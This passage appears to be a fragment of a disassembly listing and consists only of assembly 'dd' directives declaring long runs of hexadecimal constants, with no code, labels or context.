3922CA72h, 0D233A1Dh, 28CC25h dd 0AA3CE648h, 8FADAF72h, 3D4F3772h, 10097453h, 0AA08698Ch dd 48379460h, 0BE2CB012h, 20F3645Ch, 7AC6D0h, 0A789ECCh dd 43CBCDF4h, 550738B0h, 0B7CEA30Fh, 0DC8DFB75h, 61301E6Eh dd 0A8002111h, 0C02928D6h, 8400CE2Ch, 78B37E8h, 1FFE278h dd 53661A73h, 4056F5FBh, 8C76350h, 58E28496h, 388852F0h dd 0A305D5C6h, 0B80A7087h, 6117E080h, 0D51B0067h, 0E3422A98h dd 0B000C22Ch, 9F5E814Eh, 26E32BFh, 3848F7BBh, 8CC6A1D1h dd 46006978h, 6F396B33h, 99FD85h, 0A1C0A5C9h, 570EC63Dh dd 10065E6h, 0EDC3348Ch, 1B5425Ch, 196D31F9h, 8A33302Fh dd 0D8098219h, 55139B80h, 1C0A8B87h, 0D70B88h, 0E2385F98h dd 15050670h, 966D915Dh, 102AAC82h, 0B47287ADh, 0B0F1A831h dd 72003C74h, 90B739CDh, 2D60F690h, 18902925h, 242754A5h dd 0EA0C9044h, 7A3F0B58h, 1780DE51h, 41A5F762h, 0BC1C7600h dd 53EA366Ah, 80B4024Eh, 7F9716B3h, 84A6C0E0h, 1F65B100h dd 714FC3B9h, 4C19314Dh, 802E280Ch, 548EFC80h, 0E697DBA7h dd 0FDDC0F79h, 8D848FBFh, 87B64730h, 7018CAD2h, 0DDD0F914h dd 0FFE6029Fh, 8399F19Bh, 0AB80B85Eh, 610DC4BEh, 7B330092h dd 17AA77Fh, 0A300E025h, 245E316Ch, 40EDA026h, 0BF2C4212h dd 0CFC1DCAFh, 543C900Bh, 0DEC8B380h, 0F8B989BEh, 0A66F8D81h dd 3230EA75h, 0F2860492h, 809B607Dh, 40CAFE4Ch, 65AA370Ah dd 2B86F0F3h, 7519FD18h, 9FB49458h, 6817CCF3h, 0FC000AC8h dd 0C869367Fh, 7CF03A13h, 94B948B7h, 21808C40h, 66A58AFCh dd 0B24314A8h, 5524644Ah, 8AA8404Ch, 0F004C42h, 18924A56h dd 8CDDFBh, 8E9747DFh, 7213FFB1h, 70C8D14Bh, 58A4B2ECh dd 0E9095CBAh, 6853BE58h, 80111C89h, 59D59A50h, 44B9F2h dd 0DCEA8A42h, 1509ABC5h, 983D66B5h, 0F9F4E4h, 9914E901h dd 0AA75097Fh, 0D2418E01h, 4EA84B7Ah, 0E003C23h, 35195D70h dd 80F8916Eh, 1262B63Eh, 0A22325h, 1E8BCF03h, 384C6765h dd 412D30E4h, 26F827C9h, 12F4F905h, 0D338D068h, 0B200BDDCh dd 0B932F083h, 24619A35h, 0A78434E8h, 18008464h, 0F3950381h dd 19E2CECh, 0DBC9EB46h, 7150D766h, 48298090h, 74C1C2DDh dd 0AD2B0090h, 0E4CBCF36h, 6312C9BDh, 2CF5FF35h, 5E54373Bh dd 2A1D8882h, 0E42624F4h, 5145601h, 0A858F458h, 50DC52B3h dd 10005A22h, 0C6233C39h, 0B436F6h, 2BB75008h, 7B7A624Fh dd 7300348h, 0EA4AE825h, 0E544B9D1h, 0F5C40871h, 22809229h dd 582554BCh, 68D849FCh, 38C403Bh, 0E9C973D0h, 846E6200h dd 555EBBC8h, 9099063h, 27FA353h, 51FD7060h, 0A4C75C89h dd 160974F0h, 0A2FCC7DBh, 0F90E77E4h, 8AE5685Ah, 0CC810CC8h dd 0EB74E6E7h, 1413D2E0h, 0EC5EF1C2h, 58D8C426h, 6F9034B4h dd 170B2B00h, 19FE799Ch, 0D9D81324h, 16CA0181h, 0E9FFCA09h dd 0C9C05145h, 253A112Eh, 58F6A4FFh, 0CB8FE300h, 0E217246Ah dd 17C3400h, 0AC18BD55h, 2C62755Fh, 0A96C4803h, 9B6F806Ch dd 0AC88646Ah, 1ECA3Dh, 0F8F2EF51h, 0B1824A95h, 27B900C0h dd 91ADDBCBh, 106B0805h, 9E02A884h, 406D9518h, 48DD8B9Ch dd 580C6894h, 0F39949FAh, 0B3768900h, 0B2246E2Fh, 0F75400F1h dd 3719193h, 0BCC672h, 4890BE8Ch, 924020BBh, 81748233h dd 5DBAF09Fh, 9707007Eh, 239B09B2h, 5C4E342Bh, 656B1480h dd 90E8EBh, 0D9311103h, 20A51957h, 0E3036EFEh, 0C3A2064Dh dd 7B8A89F7h, 10AF6C80h, 0BA753D81h, 12F42900h, 0EBB75814h dd 3ED23E69h, 0F810DD27h, 0ED024233h, 908325A2h, 40DC5C3Bh dd 179EE131h, 64798107h, 181023EFh, 95097F3h, 0DC1F39F8h dd 0AD20F816h, 0A0050EAAh, 62C2884Dh, 7CC058E8h, 0D800D07Ah dd 609DF0A1h, 0C4B56C7h, 0CE1027B8h, 82001618h, 5E7883B1h dd 0A0B62590h, 9891AEC0h, 0F026095Ch, 2080CFBBh, 2F108E9Bh dd 9819A003h, 0DF3669BCh, 2DFC83C0h, 7C4C0DBAh, 43406B3Eh dd 40086444h, 6C26DA8h, 1902BBC4h, 0CFB24401h, 0AC6EAFDFh dd 0F0BEA884h, 1CC50ED9h, 0F68D0620h, 304355E7h, 0ACDF9100h dd 0E2E54A2Ch, 308B32FEh, 0D5025AE8h, 0B6D10CFh, 879C7C84h dd 4E084610h, 4B846764h, 700086B4h, 1E21080Fh, 474A3E8Fh dd 334E9BB4h, 97F0357Eh, 5E124D47h, 70E293DFh, 0EE483A7Bh dd 0E1197C00h, 8B7EF9C6h, 708C8E1Ch, 50305052h, 0E2CE4636h dd 72580249h, 0D5E8BD68h, 0AEBCF848h, 64FB1927h, 330E000h dd 439404A4h, 1D9067FDh, 4C248031h, 0BB041465h, 0E8006F0Eh dd 28F7B649h, 4484Ch, 192FDF7Dh, 10F4C7CEh, 764F0CF2h dd 58DBCD12h, 0D7B8F000h, 5D266CAh, 697F62A1h, 0BA83BF11h dd 35200EA2h, 66E50A3Dh, 652038F1h, 786A46h, 13318FF0h dd 0CD0A742Ch, 0B7284695h, 3F050810h, 5C9D2E04h, 0C0FCCD25h dd 0DEDB0780h, 0D0015E0Ah, 43C541E3h, 2468A3BAh, 0D3844F88h dd 0E481F7FBh, 209F1620h, 129355Dh, 0D57C71F4h, 0F0D9C5C6h dd 67044E29h, 55F28BFFh, 800040A2h, 0EBA3C15Fh, 0A400DAC4h dd 6F9923D1h, 0FC2B314Dh, 8ACA009Dh, 0C25BFCB9h, 0F400B236h dd 716BF252h, 11E1B7h, 0DD72A0DAh, 6C2AD5C7h, 2575D3Ah dd 0EB9ABF52h, 0E434E0E8h, 0F2D100CAh, 17D6328Bh, 3B0079D8h dd 0AD9F353h, 1F7F85B6h, 40CCEFD0h, 366476A6h, 0AC60B842h dd 0D1B624D1h, 9ECE31C9h, 72F85910h, 87983A80h, 0DC270AA0h dd 6631ECh, 4EF9160Ch, 0FB423CD9h, 4F2E69ECh, 520030A8h dd 0D8D3ED7h, 0FDC72AEh, 129BDE89h, 188C0B60h, 3033D344h dd 0E0071106h, 80109834h, 49005024h, 2BF4853Eh, 79502h dd 0F206176Ch, 46A34CEh, 0A828DF6Eh, 47914Eh, 4044340Ah dd 1EE788B1h, 0CE295D9Ch, 0A402F2FFh, 4F609060h, 5800FCBAh dd 0FB8A67C9h, 34CC6Ah, 0CB229450h, 6B8B2ABBh, 79EE1B07h dd 0B9205EE7h, 790113A5h, 2D8D00FAh, 0EDC6419h, 62002872h dd 0B886EB89h, 464481h, 0F0AA1E42h, 38EE5B10h, 7262F800h dd 88828901h, 4C7E47h, 45A167E4h, 1EA5C571h, 0AE3EFE75h dd 0D5A80035h, 92241BC2h, 496B009Dh, 6A6C29BFh, 0A5F8662Bh dd 0AA54D903h, 0B8205C8Fh, 13F1F2D8h, 0B2B637h, 0B4811D60h dd 5650D019h, 880099ACh, 2BC08D45h, 67E83Ch, 4721E793h dd 0C5763EEAh, 0B101697Bh, 8F7A06A5h, 0A9200E58h, 0F38A03E0h dd 521B83A8h, 0CCA2E2B0h, 1236DE00h, 0A43EEF45h, 4EC7004Fh dd 0C66CBBA0h, 8B7D77BDh, 0B396671Ch, 0ED0EF800h, 238D7Eh dd 0A3474137h, 283A6FA1h, 5414D677h, 15F80AD4h, 3EC0D068h dd 37BF8027h, 571D7187h, 707500DEh, 0D0B448F4h, 0BB015650h dd 5A95EE45h, 0E5D40824h, 52AE0038h, 0B2CDE29Ah, 0B90E94DEh dd 20F1A940h, 3F1073ADh, 0AE63064Ch, 18ABA76Dh, 4ABFC000h dd 16DD1C9Eh, 39D902E5h, 5C9C1D0Dh, 0D0567C60h, 0F7002FE2h dd 4951EB61h, 5D90A2h, 3A761FE0h, 65C303B2h, 94995Ch, 9CA7BF2Eh dd 4BF233h, 21E667ACh, 0A583F1F0h, 12160C72h, 0F9002AE5h dd 6175B5B8h dd 9082EC07h, 0C1AE007Ch, 6E81402Ch, 1800EC86h, 478DE694h dd 204F37h, 0C2AC4821h, 1FA0BF46h, 0FAFB2F01h, 5F250EBCh dd 88BBC643h, 0DACAF8h, 5794097Eh, 0E3A5212Eh, 0DD3B80E2h dd 0EAD480ECh, 96F229A2h, 86C400F0h, 2640BD3Bh, 23070A2Fh dd 72A5933Ch, 408057B4h, 7466394h, 0C6562F4h, 708CE7B8h dd 0D59EACCFh, 9C680602h, 0C0B3E978h, 0C221B2Dh, 0C7B79A24h dd 8F09EA16h, 5AA2979h, 0CDC5B4B6h, 261DF452h, 11976440h dd 5A1F9Eh, 790C0E3Eh, 714B1238h, 7BF5700h, 644A55AAh dd 0F9680EFDh, 3BA0BB4Dh, 6B39B841h, 0B5082101h, 5FD18B83h dd 3C72B083h, 4DB0F605h, 0D00069F0h, 95138A8Dh, 3F934A7h dd 5066D639h, 29908C05h, 6304E46Ah, 0D0A63897h, 4FEE8080h dd 0F80F00ECh, 927343B5h, 0EF0380FCh, 0B4C9975Fh, 3109D014h dd 452939AAh, 9695A500h, 42CACC90h, 397410C1h, 104077B0h dd 1C3BE748h, 0C04E6DC1h, 0C651254Bh, 3005971h, 203EE91Fh dd 9022369h, 0C94AFE81h, 250B0800h, 0BF04945Bh, 0F5EFA6E8h dd 782FFC80h, 5588008Eh, 0B89A5365h, 0E500CAF2h, 4F31CB36h dd 990875h, 38B38AD7h, 797312FDh, 0C83EB200h, 0E9A2FC7Fh dd 8E6402F1h, 48A92CAFh, 2D441460h, 0A1740A40h, 22FC6FCCh dd 79DA00D7h, 0BB4A6C2Bh, 65144070h, 0B42A34h, 0A35712A7h dd 118F616h, 2BF317A8h, 8309F1C5h, 38AEF768h, 0BE158879h dd 7830FDFBh, 996E004Bh, 0D4C5A849h, 9D00A05Ah, 8AD61E3Eh dd 0A9F1F7h, 0F301289Bh, 264B3CCEh, 0F53DC307h, 16D16F02h dd 9520C864h, 536D0323h, 0CBD4BBBh, 6C1DB804h, 0FA80384Ch dd 0F4594EFh, 0FAF70F21h, 9858AC41h, 40C30EEh, 167E48h dd 0BE72F392h, 9C483Ch, 32B4D31Ah, 0F6137383h, 0A6EF7109h dd 0CBF880E4h, 25F209h, 0E203EA06h, 4CE5971Ch, 4000A170h dd 0E768DA22h, 3EF0176h, 0AE266AC8h, 55A02DD8h, 4500CDA7h dd 0BB9FA72h, 343944h, 57A35F15h, 485A78F6h, 7773F33Fh dd 0B98FFD00h, 0C4BCF08Dh, 0D7FF3D28h, 250720C8h, 805A2608h dd 9DDA4824h, 0E418FC60h, 777D652h, 619EDDFAh, 4F7C103Ah dd 40548687h, 9001C1E8h, 2AB273C2h, 83031A1h, 0AC4C0752h dd 0AA4D6205h, 75BF00A9h, 461B5E5Dh, 40F06801h, 0B372AC08h dd 667CC8h, 1A92BB59h, 0B9F2105Ch, 0C1EA5DEEh, 4A02D800h dd 0F3F6FFB0h, 0F50707ABh, 616B0999h, 60F975B1h, 471680A2h dd 0BC400CF0h, 561F3BECh, 0C084006Bh, 0F87BCDF9h, 423AEF38h dd 61C100BCh, 9AD3F75Bh, 48567F4Ah, 0E0005C81h, 0EDA66E0Ch dd 85047505h, 711C321Ah, 0D95DB7C3h, 470965Ah, 0FDFC0034h dd 0DD9B12F7h, 8449A53Ch, 99621EA8h, 0A4002293h, 8836C340h dd 767472h, 29737787h, 2379698Bh, 7B6F9100h, 46628E21h dd 61951326h, 58870141h, 609A1C40h, 0A53F1010h, 8D9E055Dh dd 60D048E2h, 742BE8D4h, 11AC1387h, 4A7840CBh, 0CA8E8032h dd 9728770Eh, 89378EC2h, 20F18BEBh, 0E38A8C78h, 32050348h dd 0A7BEFABh, 2091C4A0h, 9502C578h, 823314E5h, 0E397818Ch dd 0A3D8AE6Ch, 0D6CA0058h, 1DD954EEh, 3F00FF03h, 7BFE7384h dd 3A2B80DDh, 5D0D164Ah, 0CCA9521Ch, 8A015942h, 150CC5D6h dd 8409A8Bh, 60E5CC94h, 7B9B8079h, 5766C8E6h, 3FAD639h dd 63E0564Eh, 20A75E4Dh, 0D103314Fh, 1178CA50h, 0F7039281h dd 0CCE005DAh, 54179814h, 0D8004FABh, 0AC09080Ah, 24E500EAh dd 683C1187h, 0A700C5D5h, 0BE36157Ch, 19C754h, 0D8F6C60Eh dd 92DB561h, 1E165700h, 114177C1h, 4E04DF7h, 78A80078h dd 0FD562FDEh, 19C0F18Bh, 1C03C742h, 15313EBh, 0D53F1E08h dd 0D107BC2Ch, 0F0D87F4Bh, 772488CEh, 0A3BC6F2Ch, 832F1906h dd 7D00018h, 853126B1h, 0D3780406h, 37B8731Eh, 8CE69200h dd 6CC6F4CEh, 7F581AC8h, 0C4AE9300h, 1CD60F9Bh, 9FCB0F79h dd 5407A070h, 281F0611h, 5730C3F8h, 14E185Ch, 9914614Bh dd 0F8DD2BFAh, 68CFC48Dh, 1E7AC098h, 0C0ACEEEh, 0F31B93BCh dd 8E32D6A1h, 20E2800Ch, 7FA39146h, 0B27B58C3h, 0A80F890h dd 33C1188Dh, 0D740180Bh, 0E9BC650Fh, 4CDC8753h, 800D5B82h dd 57F67994h, 179B0940h, 274448h, 4AB5A7DEh, 90721C48h dd 431382F5h, 458C00DFh, 6C92C790h, 0E8520933h, 0B56CC42Fh dd 6D010EF1h, 6E07DF75h, 941C204Ch, 0D2DB4B15h, 127F0DCCh dd 82611843h, 2DB04050h, 951607ADh, 30A32162h, 40049AAAh dd 9F33F203h, 0E05C3D57h, 29E576h, 2DEDE795h, 0E9BB4397h dd 77D458C7h, 590AC46h, 57D09567h, 7B8C0C2Ah, 0C8C07AE8h dd 0AF071174h, 5B28C4A3h, 10BCC77Dh, 0EF10CBF6h, 0C7207C62h dd 0BFCC08B4h, 99D67587h, 27116CA4h, 2E157101h, 80765A97h dd 0A3779943h, 51212C20h, 3C3300A4h, 1293DF4Ch, 10E488D0h dd 0C604AC47h, 841746C2h, 3A4A5C8h, 94D0FB38h, 8912EA49h dd 6F0D0A92h, 3BEC90A6h, 0F0DD608Fh, 39068CB5h, 10FE4B30h dd 0F34CDEh, 8EB402DBh, 0F66A9F86h, 0BF3AE901h, 3D387F77h dd 0E06515E4h, 5C71CFh, 954C9B4Dh, 90ED68C4h, 0AA301D01h dd 1B501AF2h, 0F35D4h, 49281F8Fh, 0BFCF78DEh, 0E6597E00h dd 5ECA0C66h, 256500F6h, 0E9470661h, 17001592h, 19606AFCh dd 1FEECBD9h, 40CA435Fh, 0F897EBFAh, 0FC00E69Bh, 448D9355h dd 0A854E4h, 8A980AB1h, 0F9EBBADCh, 0B447921Ch, 0E06A484Eh dd 6F8DBB55h, 53E507F8h, 85AB6D64h, 0F19A803Dh, 5F005575h dd 57A1FDF9h, 0F0A6DFFCh, 0A2FA1EEEh, 0FB32CD54h, 83040A31h dd 0CC1D72h, 3570C510h, 0A524327Bh, 0FA627A00h, 20BB1653h dd 217200AEh, 0C587DE2Ch, 7864C486h, 2F219128h, 101D12CCh dd 51C83D5Dh, 0C37542BDh, 64213924h, 0A929903Eh, 4435A784h dd 0D5462B55h, 7CEA79C3h, 89D4BB88h, 6C144151h, 138112C2h dd 8D26C9DAh, 0EEBF0079h, 0F98B8333h, 3700DDC8h, 0D73A685Ah dd 1CA313B0h, 0AE666Bh, 0ACE248D5h, 100AB31h, 238BDC0Fh dd 6B7165h, 4C10C641h, 8EACB685h, 4F379007h, 0DE6A43h dd 16B25474h, 0B74D0079h, 0C15747DDh, 0E500E3E8h, 0A14E9C07h dd 3E71665h, 3541CD0Bh, 0DB0C9FCh, 3D059FA3h, 5E7FFD18h dd 0A0082C5h, 2595BE34h, 8B8F0031h, 73EFCA59h, 0A11D7686h dd 87BCBBF9h, 3A278750h, 0D55C190h, 0AD97039Ah, 596F19ACh dd 8011103Dh, 0E43FA6ECh, 7D843064h, 0D9C000EEh, 3AAD6335h dd 65008E52h, 4683724Ah, 18980512h, 40517F45h, 0F01F62BAh dd 9D04C5CDh, 28932F24h, 0F969807Dh, 73BD384Eh, 40A0279Ch dd 0B7F843E3h, 0E200A3CFh, 77A6A1BAh, 0C0A5C1EDh, 0B9BD1B10h dd 4560EECCh, 0C7BBC70h, 90130011h, 994C9317h, 8F4815CAh dd 0DF9E0058h, 0E89CA6D5h, 0BF580EB2h, 5A00D7FFh, 8E8574E0h dd 33A35400h, 827ED6A0h, 1C760018h, 3DACEC07h, 2A7956E2h dd 0B043EF00h, 0A169C5B2h, 8B100D7h, 26D1A3E0h, 0C3F6C738h dd 76FA0C00h, 0B8F21D45h, 93910074h, 4C2FB617h, 4378C133h dd 4AFFAB00h, 0F9252CCBh, 36E46Dh, 72B741CFh, 4D450882h dd 5D555B00h, 5F24ED2Bh, 27EA002Ah, 46AE9E4Bh, 4D1EBF6Bh dd 0EB001C4Eh, 1A76C841h, 5AA8A038h, 6AD20074h, 0B3701B6h dd 887C9815h, 0F2467300h, 53ECD64Ah, 3E7517E9h, 80751F0Dh dd 493DF6E5h, 0A0019CC2h, 337AEEAh, 8DC56053h, 156BF8h dd 0AA96829Ah, 0F25CF7DFh dd 0BC8A4100h, 7F9E897h, 0B7A90057h, 9DB08254h, 3B5CBF06h dd 15A515F6h, 85D400D8h, 9E021A81h, 0EF2C3F8Bh, 0CFCB0980h dd 9541E4B9h, 33BB2402h, 415E1D62h, 0D5C49218h, 0F211EC36h dd 0FFB32065h, 7DEA3D00h, 5A16D204h, 0BEB761Eh, 6862517h dd 9CF73F81h, 53A2FC2Ah, 6113AE0Ah, 0DC00D89Bh, 6C58CDF5h dd 7CC00CC8h, 9E18988Dh, 9A8EF900h, 9B973A94h, 0F0100220h dd 8C458F3h, 7B8B040h, 0D2625F00h, 8B6F90C6h, 0CF680E21h dd 2521CCB5h, 80DF056Ch, 26FB2DEEh, 50E788E5h, 898491h dd 0D3933ECEh, 31240E79h, 671D4F03h, 0E872BA27h, 1F7FD7B9h dd 87BEF4BFh, 0C04CD505h, 0F8E14E45h, 0AB18EB03h, 876DC0A7h dd 0EDDC54C0h, 59FF00E9h, 0C80D09FDh, 5F1F0A58h, 0FA0076E5h dd 7A4FA710h, 0CE0B0047h, 0A523E782h, 9114B351h, 0EA0B07Dh dd 72B226h, 0AFCF4D3Ah, 2EEB0090h, 9240FF4Ch, 2F1E5CE0h dd 0D80086F7h, 8459BDE8h, 5D7943h, 1836A296h, 42C903C4h dd 0BAC7D902h, 0E0BC5016h, 0E30DCA6h, 0E5625141h, 0F6E64800h dd 0BA3CA1E4h, 5F00FD0Ch, 0CA5B7FB1h, 70511A8h, 210D43BFh dd 9FFC044h, 0FC00E320h, 3616D1Dh, 92FDEA0h, 392A8873h dd 0ED5B8CB9h, 68803466h, 5E00BC90h, 0A46DECD1h, 32C6C13h dd 778ABBDh, 95EF65D3h, 3303C0DBh, 0F40528F5h, 913F09C1h dd 3CA2A4C0h, 0C28901FCh, 0DB1738ECh, 88C8D285h, 7092F894h dd 1D25CA14h, 0A5E201E0h, 1EE1148Fh, 432C1080h, 0BEF57D85h dd 477E880Fh, 0AD40FE20h, 0D4E0B14Bh, 796603E5h, 0D58FB52Ch dd 3308EE88h, 0E27D60C3h, 0C2C93D42h, 5583B10Dh, 0A0642058h dd 0A3FD6101h, 0E16214AFh, 5C0B8C20h, 932481F9h, 5BE500ACh dd 0BBF52F91h, 0A54A3C00h, 17EE1B2Bh, 3B9E7866h, 2843F19h dd 80E2CD69h, 74C82B78h, 0F9F8B201h, 0FFB59388h, 55F4D0h dd 0B0AF03ECh, 76EADF60h, 0C7F22E0Fh, 1B56ED3h, 0E8043BD2h dd 0F25A470h, 1F11DB7Ah, 62800073h, 0D531F487h, 0A0808B01h dd 0C4301701h, 3E3BD820h, 2E8296EFh, 0C88FAA29h, 0FCD88140h dd 2C47A106h, 3D8B051h, 0E6B106A6h, 1000BA9Ch, 48EC1360h dd 1CBFE391h, 0C0CEDF84h, 12BB01B7h, 271CC818h, 6140097Eh dd 0AC5E2556h, 0F70B003Fh, 52877BEEh, 8C2CE6BAh, 610B1053h dd 6B382740h, 0FC132F87h, 2459E909h, 901034h, 2E27CA30h dd 1B87E6FFh, 6AFEF0E1h, 8BD0C654h, 923B7A12h, 7CB3EC02h dd 89560ABh, 0A0627FDCh, 1424CD8h, 788A3C57h, 8B45D80Dh dd 1DA2719h, 0A6F3B834h, 8D6ADC40h, 9FD30088h, 4C837344h dd 0A0C0F826h, 16F93864h, 0B0E0703Dh, 5C7A0308h, 7F6FC3BAh dd 22A9B901h, 2D9E8F05h, 10A1096h, 0A7F00DABh, 566080B9h dd 0FF7B50D1h, 3C21F4AEh, 30808D49h, 0B6DF1B9Fh, 0BE05162Bh dd 8E5F3B2Ah, 0AA97E002h, 0D0904093h, 0E86E48E5h, 0B3ABB401h dd 80DE36EFh, 0CAFEBA48h, 4C5ED77Ch, 3F263874h, 2B803892h dd 0C05AECB9h, 0B24C0198h, 0A6121C34h, 0C177C440h, 8B5102h dd 6DF362DFh, 97A4C804h, 3A2B2300h, 0A11CFC6Ah, 7CA81695h dd 0DB544040h, 8C37E85Eh, 7D8DBE38h, 34240126h, 4654080h dd 2AF36C51h, 11D01159h, 1F3A73B8h, 0E74EA3ACh, 0A2DE402Bh dd 7E32F3E6h, 0DC2205B9h, 3B0E34Fh, 7B168294h, 0E4DE91C0h dd 0D91270F9h, 0C680FA00h, 0A547C03Fh, 63CE0355h, 0AC1FE507h dd 898021BAh, 6029BE82h, 58EA1B24h, 40CB980Eh, 5ACF30A4h dd 0C8FCA34Ch, 7C01D3CAh, 33D517A1h, 0FB1CCDh, 0E258F2FAh dd 0A3043CE9h, 41CAC395h, 0D4CEC3FEh, 5712C2A0h, 9F7F5800h dd 1BFD88D9h, 47382582h, 0D650C002h, 8520A044h, 1AE6B2h dd 3E34E8F5h, 74C12AD2h, 542D4D0Bh, 0E49C20C9h, 3CD9CD70h dd 0A028C611h, 50DC0B80h, 90A188E9h, 0FE8C76B0h, 0BFF2F9E0h dd 70935333h, 0A93FE8E7h, 0B060003h, 0AA64188Eh, 0BF01B86Fh dd 2663491Fh, 77DC21BDh, 659F00E0h, 87FE8173h, 57072CD4h dd 0B3C633A5h, 0E3759320h, 6E17C92h, 0A88BBAE9h, 3400986Ah dd 0EF96685Eh, 30D8FC1Eh, 95D8B724h, 0D203BE0Bh, 0B36D66DEh dd 0C898C16Fh, 0B545DB40h, 0C971007Ah, 0D0BCCE79h, 977668C0h dd 0B25A9900h, 0CB1B5047h, 8AFC66h, 0C4AA6FA6h, 1532B930h dd 5487BE00h, 195CE9CDh, 0C7A700E6h, 21896056h, 0B67BFA77h dd 62FCAB00h, 2231F8F7h, 80E139FDh, 60A31380h, 0C51BF9Dh dd 9800A973h, 0BD69C719h, 5EC80Fh, 0A818A052h, 0EFB4D629h dd 6E015578h, 4D2CFD2Ah, 0E6F04158h, 3C622649h, 2018174Ch dd 1F39CAA4h, 0CF042CB0h, 0A803B811h, 6EAF88D0h, 0D82405DCh dd 8338FFF3h, 44E90AD8h, 1F01D47Bh, 0C463D07h, 2BE4FB80h dd 3A1088C0h, 2ECA0076h, 39FCE74Fh, 0A0DF60Eh, 58260CB1h dd 34A29800h, 38A800CDh, 0BF21563h, 2902BBB9h, 0CD8CFC8h dd 560DC0D6h, 3DF058A8h, 97B08405h, 28B80018h, 0F19D7159h dd 0A377AF00h, 0CC5A37ADh, 0F4E648h, 0E188786Bh, 8F1E0674h dd 861BD426h, 2A9ED14h, 0CA129141h, 0A61961FEh, 0AED8A9C9h dd 0F09A0072h, 5E5004A4h, 331C2794h, 10801607h, 0CE474C7Dh dd 0D35D163Ch, 0C0771D6Ah, 446E28BBh, 8F0049C1h, 0A4437651h dd 71CBACh, 0E49CCEA7h, 147693Eh, 54D1FF00h, 0C1877F5Bh dd 70DFC78h, 0B36B72D3h, 989BF1C2h, 0FAECF869h, 0EDF35019h dd 79D0D819h, 157AA1h, 0A78930E7h, 5AEFAB27h, 0E6007990h dd 2CDE48D9h, 1349593h, 1E09CD05h, 0E0D7908Eh, 891B4EC5h dd 0D898C332h, 0C103AEh, 6F9D7342h, 66A96CE4h, 37F2F013h dd 0C4E55001h, 0DA205289h, 4D1A0042h, 0A4B6E61Bh, 2E001E9Bh dd 8E45CC7h, 1FA6BA7Ch, 40AC1507h, 62A9B550h, 2F09D064h dd 31B4DBh, 0BF0D489Ch, 3C4B0038h, 8E3EA3E3h, 0CA00649Bh dd 0B768DF8Dh, 0D2BC31h, 0D045B086h, 59630812h, 0BB2BB801h dd 0BE647189h, 1DC31DFCh, 0CC2A235Fh, 3A58B2EFh, 60DCA100h dd 4759D340h, 9553009Ah, 49BC1BBh, 2900DF39h, 327F9944h dd 60CE13h, 0C07ECDB1h, 529DF911h, 3CA3BF00h, 0B9639CD7h dd 77A000DBh, 0BA4B2A85h, 0B4000D84h, 9F88C7E8h, 165E26D4h dd 0FADFE45h, 8E8054C0h, 0A501AA9Ch, 4A820800h, 534BBCCCh dd 0D4990034h, 0BF8C95B8h, 4400EFF1h, 1CDB5EFEh, 24B2CDh dd 6FE13AE7h, 6EB57A2Fh, 0B3143D03h, 0F0A0A977h, 1E23311h dd 0C47D7251h, 28D98EE9h, 0BC3F250Ch, 0A035207Ch, 79A8AF00h dd 5CD5E1DAh, 4A1E128Eh, 2A2480A6h, 5624B82Dh, 0E11E18FCh dd 3FFE9247h, 6C97DC61h, 2E5273ECh, 0A090BF29h, 5DA51DA7h dd 66E1C138h, 604B2B72h, 70097534h, 80B6CCB9h, 0BE7A6BE4h dd 0B2A7016Ah, 5E320B04h, 2728DCB4h, 0ECA578C0h, 604735h dd 0E2454BEh, 2E3CB098h, 0AA6784E6h, 0DCF06312h, 0C83C733h dd 0A88CDE68h, 0A02620D0h, 0F700619Ah, 0A18EE616h, 0A0B89Fh dd 958BF1D6h, 0D18A298Dh, 0DDE79600h, 424D6191h, 144780Eh dd 0F2F45E7Fh, 0F825A955h, 400788Fh, 5285C1A2h, 581657C3h dd 9B0000F5h, 36CC8161h, 5B001001h, 0AA2A961Ch, 17E26C9h dd 0EB39496Ah, 744AA5F3h, 0A4FFFECh, 0C6472440h, 7D2C24h dd 0C7D75B55h, 0BBF15A8Dh, 85983F50h, 0B22E011Ah, 6D7061AEh dd 0A2A860h, 89E24310h, 0F5E6F641h, 67946E00h, 833DA788h dd 71662EB3h, 6F25050Ch, 0F788009Fh, 62A28031h, 37500978h dd 3E0036B0h, 9803924Bh dd 5E8CCEDh, 6B998941h, 0ADE0D073h, 3FE6C726h, 0C80B5Ch dd 0E2EF8A84h, 609B6C48h, 0DAA3D0C2h, 4F03B727h, 0DB0E4C34h dd 7A6EF888h, 4CACB22Bh, 7800DC52h, 2AE19663h, 430F35E7h dd 21D7C6C0h, 0FC75A755h, 0B9B8C8h, 9D1951EBh, 5EBF4F37h dd 863CF0FAh, 41E68066h, 557AAC63h, 901B502Fh, 5D741E79h dd 52DF40C8h, 726E138Ch, 281EE1E2h, 0F2404193h, 29D9843Dh dd 6FBC074Dh, 31E5CEF4h, 80730380h, 9B0EDA91h, 1D661E77h dd 4056C42Bh, 3AAB38E9h, 0CAE83313h, 0D9793D01h, 76A5A958h dd 1C1A08F8h, 819635D8h, 13735BECh, 2B8840C1h, 3D006FA1h dd 9814BDD4h, 60B41E62h, 5D4F70F6h, 0EA73DBB7h, 6BFA4BF0h dd 0BD6F7D0Eh, 5F4DE0C9h, 1C20B21Fh, 25C85FDh, 93D872C1h dd 0E60788A1h, 3038FCh, 0A9D54696h, 125AC8FBh, 0F306F83h dd 47A00630h, 0DB3D65D6h, 17C1770Eh, 0A321403Bh, 0F82B6E7h dd 1E55C54Bh, 8C42F3E0h, 627352E6h, 0F80B657Fh, 82747h dd 9CD5B98Fh, 33830039h, 3ABE9A15h, 50B4E116h, 0AC29DB00h dd 64FC3194h, 804D2061h, 17D68134h, 7FEDEA04h, 2CA5F521h dd 710C60D2h, 0A09EA3h, 4A7E7581h, 7A00CDB8h, 95388528h dd 0EFFA642h, 0FCACD563h, 0D94D9380h, 480012D8h, 130561D6h dd 33A6BD0h, 5D32EC83h, 1A0D5DDh, 0AE5C7625h, 1FFF00D4h dd 8CC670C8h, 59CC001Ah, 95BF4E91h, 0DB14D9F8h, 12D4FC85h dd 370002E9h, 0A6E00F13h, 9ED50247h, 0ECCF9367h, 8E94560h dd 41F7B713h, 0BA056C00h, 0EC84321Dh, 0D46B0014h, 869094FFh dd 8800456Ch, 0F4F11EC1h, 916760h, 0F718B792h, 497A7D42h dd 0C871D600h, 0D86BAB48h, 50EC0047h, 42097840h, 5F007090h dd 56588FA5h, 0C4DC07h, 51F9437Bh, 0B25CE3E1h, 0FF2A400h dd 0DDD03132h, 8904CDBh, 0F4295F07h, 827F5123h, 0DCDAED07h dd 390030E6h, 0A1DBC2D4h, 375874h, 0DD1559F1h, 7F77FEEAh dd 80A44F00h, 6A39AD1Dh, 821000BEh, 156B0A1Ch, 31FBAE9h 